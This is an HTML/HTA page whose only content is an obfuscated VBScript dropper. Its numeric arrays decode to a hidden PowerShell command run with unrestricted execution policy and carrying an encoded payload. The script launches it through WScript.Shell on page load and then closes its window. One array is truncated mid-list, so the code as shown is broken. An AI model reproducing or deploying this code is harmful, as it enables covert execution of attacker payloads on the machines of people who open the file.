<head>
<script language="vBsCRIPT">
Function AktDy(ByVal dyGkOAgNjzN)
Dim CzwPnB
Dim yySNcNfqsAz
yySNcNfqsAz = 41644
Dim cOPMDQVRXtkctG
cOPMDQVRXtkctG = ivGiNQjwydy(dyGkOAgNjzN)
If cOPMDQVRXtkctG = 7000 + 1204 Then
For Each CzwPnB In dyGkOAgNjzN
Dim jkwDafc
jkwDafc = jkwDafc & Chr(CzwPnB - yySNcNfqsAz)
Next
End If
AktDy = jkwDafc
End Function
Function TyAJHvCSdmQhTl()
Dim dyGkOAgNjzN
Dim VUXJzwQRWj
dyGkOAgNjzN = Array(41756,41755,41763,41745,41758,41759,41748,41745,41752,41752,41690,41745,41764,41745,41676,41689,41713,41764,41745,41743,41761,41760,41749,41755,41754,41724,41755,41752,41749,41743,41765,41676,41729,41754,41726,41745,41759,41760,41758,41749,41743,41760,41745,41744,41676,41727,41760,41741,41758,41760,41689,41724,41758,41755,41743,41745,41759,41759,41676,41683,41743,41753,41744,41690,41745,41764,41745,41683,41676,41689,41731,41749,41754,41744,41755,41763,41727,41760,41765,41752,41745,41676,41748,41749,41744,41744,41745,41754,41676,41689,41709,41758,41747,41761,41753,41745,41754,41760,41720,41749,41759,41760,41676,41767,41691,41743,41676,41756,41755,41763,41745,41758,41759,41748,41745,41752,41752,41690,41745,41764,41745,41676,41680,41751,41722,41751,41755,41676,41705,41676,41683,41709,41709,41709,41709,41709,41709,41709,41709,41709,41709,41709,41709,41709,41709,41709,41709,41709,41709,41709,41709,41709,41715,41718,41750,41696,41745,41742,41764,41699,41716,41763,41751,41766,41692,41764,41732,
VUXJzwQRWj = AktDy(dyGkOAgNjzN)
Dim YZAoNSHNmkIOeg
Set YZAoNSHNmkIOeg = zVeALXCmRKqkgd(AktDy(Array(41731,41759,41743,41758,41749,41756,41760,41690,41727,41748,41745,41752,41752)))
YZAoNSHNmkIOeg.Run(VUXJzwQRWj),0,true
self.close()
End Function
Function ivGiNQjwydy(ByVal cOPMDQVRXtkctG)
ivGiNQjwydy = VarType( cOPMDQVRXtkctG)
End Function
Function zVeALXCmRKqkgd(ByVal objectType)
Set zVeALXCmRKqkgd = CreateObject(objectType)
End Function
TyAJHvCSdmQhTl()
</script>
</head>
</html>